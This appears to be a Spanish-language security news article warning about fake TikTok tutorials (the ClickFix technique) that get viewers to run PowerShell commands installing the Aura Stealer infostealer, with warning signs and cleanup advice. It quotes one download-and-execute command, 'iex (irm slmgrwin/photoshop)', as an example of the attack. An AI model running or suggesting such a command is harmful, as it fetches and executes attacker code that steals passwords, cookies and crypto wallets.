- Videos virales instruyen a ejecutar comandos en PowerShell que descargan malware.
- La técnica ClickFix usa ingeniería social para que el propio usuario ejecute el ataque.
- Se detecta un infostealer tipo Aura Stealer y otro ejecutable con compilación dinámica.
- Cambiar contraseñas, pasar antivirus y reportar en TikTok son pasos clave tras la exposición.
Una oleada de tutoriales falsos en TikTok está aprovechando la popularidad de los vídeos cortos para colar estafas que ponen en riesgo la privacidad. Detrás de supuestos trucos “milagro” para desbloquear funciones o instalar software de pago sin coste, se esconde la descarga silenciosa de malware orientado a robar credenciales y otros datos sensibles.
El gancho suele ser simple: promesas de acceso gratuito a Windows, Photoshop, Netflix y otros servicios, acompañadas de instrucciones para ejecutar comandos “secretos” en PowerShell. El formato ágil y el tono didáctico generan confianza, pero el objetivo real es que la víctima sea quien lance el ataque en su propio equipo.
Qué está pasando en TikTok
Investigaciones de la comunidad de seguridad han documentado una campaña que mezcla ingeniería social con vídeos aparentemente técnicos. Esta táctica, conocida como ClickFix, consiste en ofrecer soluciones rápidas a problemas comunes para que sea el usuario quien copie y pegue el comando malicioso.
Un ejemplo repetido en estas piezas anima a ejecutar una orden del estilo iex (irm slmgrwin/photoshop) en la consola de Windows. Lejos de activar software, el comando conecta el equipo con un servidor controlado por atacantes, desde el que se descargan y ejecutan scripts sin levantar sospechas.
Según análisis compartidos por expertos del SANS Internet Storm Center, al seguir estas instrucciones se llegan a instalar dos ejecutables. El primero es una variante de Aura Stealer, un ladrón de información que busca contraseñas guardadas en navegadores, cookies de autenticación y posibles accesos a billeteras de criptomonedas.
El segundo componente, más indeterminado, puede compilar código de forma dinámica. Esta capacidad permite adaptar el ataque al entorno de la víctima, facilitar la persistencia en el sistema o ampliar el alcance a otras redes del hogar o del trabajo, por eso conviene saber cómo mejorar la seguridad de mi router, complicando su erradicación.
Señales para detectar los vídeos trampa
Antes de hacer clic conviene observar con lupa y aplicar consejos para prevenir estafas en línea: los estafadores aprovechan perfiles que aparentan seriedad, voces generadas por IA y producciones cuidadas para dar verosimilitud al engaño.
- Promesas de “activar gratis”, “desbloquear” o “hackear” programas de pago.
- Instrucciones que piden abrir PowerShell o cualquier terminal y pegar comandos.
- Enlaces acortados o descargas fuera de tiendas oficiales y sitios verificados.
- Cuentas con poca actividad, comentarios deshabilitados o vídeos repetidos con mínimos cambios.
Qué hacer si has seguido uno de estos tutoriales
Si crees que pudiste ejecutar un comando o instalar algo sospechoso, actúa sin perder tiempo: las primeras horas son claves para contener el daño.
- Cambia todas las contraseñas (correo, redes sociales, banca, streaming) y habilita la verificación en dos pasos.
- Realiza un análisis completo con un antivirus/antimalware actualizado y deja que elimine cualquier amenaza.
- Desconecta el equipo de redes sensibles si notas procesos extraños o accesos no reconocidos.
- Revisa el inicio de Windows, tareas programadas y servicios para detectar elementos desconocidos.
- Reporta las cuentas y vídeos directamente en TikTok para frenar la proliferación de la campaña.
Por qué engancha y a quién afecta
El cebo funciona porque apela al “todo rápido y gratis”. Entre usuarios jóvenes y perfiles con menos experiencia técnica, la sensación de inofensividad es alta cuando el contenido llega con apariencia profesional y tono de ayuda.
Además, al ser el propio usuario quien ejecuta los pasos, muchos mecanismos de protección automática se eluden. Esto convierte a TikTok en un canal idóneo para los estafadores, con millones de potenciales víctimas y una difusión muy veloz de tendencias.
Contexto europeo y buenas prácticas
En el entorno de España y la UE, la recomendación general pasa por mantener software legítimo y actualizado, descargar solo desde fuentes oficiales y desconfiar de cualquier promesa de “activación” sin licencia. Las plataformas cuentan con vías para denunciar contenidos nocivos y las autoridades de ciberseguridad insisten en la educación digital como primera barrera.
Adoptar hábitos como gestores de contraseñas, autenticación multifactor y copias de seguridad frecuentes reduce mucho el impacto si algo sale mal. Y ante la duda, es mejor no ejecutar ningún comando que no entiendas o que provenga de un tutorial con procedencia dudosa.
La combinación de tutoriales virales, comandos en PowerShell y descargas remotas está propiciando una campaña eficaz para robar datos a través de TikTok. Identificar los patrones, evitar atajos “milagro” y reaccionar con rapidez si hubo exposición marcan la diferencia entre un susto controlado y una brecha seria de seguridad.
